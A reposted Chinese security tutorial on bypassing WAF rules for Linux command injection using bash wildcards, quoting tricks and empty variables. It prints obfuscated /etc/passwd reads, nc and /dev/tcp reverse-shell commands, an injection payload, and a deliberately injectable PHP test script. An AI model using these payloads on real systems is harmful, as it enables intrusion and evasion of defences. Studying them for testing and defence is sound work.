42

命令执行WAF绕过技巧总结

 5 years ago
source link: http://www.freebuf.com/articles/web/185158.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文作者:zusheng,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

如今市面上的WAF几乎都已经具备了针对RCE攻击的防御能力,这些WAF并不是想象中毫无破绽,当Web服务器是Linux平台时我们就可以利用一些技巧来绕过WAF规则集。本文主要总结Linux平台下针对RCE WAF的绕过技巧,Windows平台不在本文考虑范围内。

0×01 技巧一:通配符

在bash的操作环境中有一个非常有用的功能,那就是通配符,下面列出一些常用的通配符:

*    代表『 0 个到无穷多个』任意字符
?    代表『一定有一个』任意字符
[ ]    同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ]    若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的!
[^ ]    若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

我们可以使用通配符来执行命令,例如执行命令:

ls -l
使用通配符
/?in/?s -l

UNJ3Ijf.jpg!web

读取/etc/passwd:

/???/??t /??c/p???w?
有时候WAF不允许使用太多的?号
/?in/cat /?tc/p?sswd

A77nQrF.jpg!web

NC反弹shell:

nc -e /bin/bash 127.0.0.1 3737
为了避免符号.我们可以将IP地址转换成整型。
127.0.0.1 → 2130706433

使用通配符

root@kali:~# /??n/?c -e /??n/b??h 2130706433 3737

j2mYRvR.jpg!web

V77viiF.jpg!web

0×02 技巧二:连接符

在bash的操作环境中还有一个非常有用的功能,那就是连接符,例如:

root@kali:~# echo hello
hello
root@kali:~# echo h'ello
> '
hello

root@kali:~# echo 'h'ell'o'
hello

你唯一需要注意的就是闭合,这点很重要,利用这个我们可以绕过一些匹配字符串的WAF规则。

读取/etc/passwd:

/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd

rmmQfeQ.jpg!web

获取shell

检测NC:

/'b'i'n'/'w'h'i'c'h' 'n'c

RNjieym.jpg!web

没有NC的情况检查wget:

/'b'i'n'/'w'h'i'c'h' 'w'g'e't

rqUjamr.jpg!web

简单粗暴(容易被检查):

bash -c 'sh -i &>/dev/tcp/2130706433/3737 0>&1'

其他字符:

双引号
/"b"i"n"/"w"h"i"c"h" "n"c

QfQva23.jpg!web

反斜杆
/b\i\n/w\h\i\c\h n\c

2UBBjuR.jpg!web

0×03 技巧三:未初始化的bash变量

在bash环境中允许我们使用未初始化的bash变量,如何

$a,$b,$c

我们事先并没有定义它们,输出看看:

root@kali:~# echo $a

root@kali:~# echo $b

root@kali:~# echo $c

root@kali:~#

未初始化的变量值都是null。

读取/etc/passwd:

cat$a /etc$a/passwd$a

BFrEZ3A.jpg!web

测试WAF

测试代码:

<?php
echo "OK";
system('dig '.$_GET['host']);
?>

Q7bqAfY.jpg!web

www.baidu.com;$s/bin$s/which$s nc$s

yyuEJbA.jpg!web

反弹shell:

/bin$s/nc$s -e /bin$s/bash$s 2130706433 3737

执行:

vIJrIb2.jpg!web

成功:

ERFji2M.jpg!web

0×04 总结

本文我们主要利用了bash的通配符、连接符、未初始化的变量三个特性来绕过WAF规则,当然你可能有更好的办法,欢迎大家补充,最后感谢乐于分享的安全研究员们,没他们的分享也不会有这么多技巧出现,谢谢分享。

*本文作者:zusheng,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK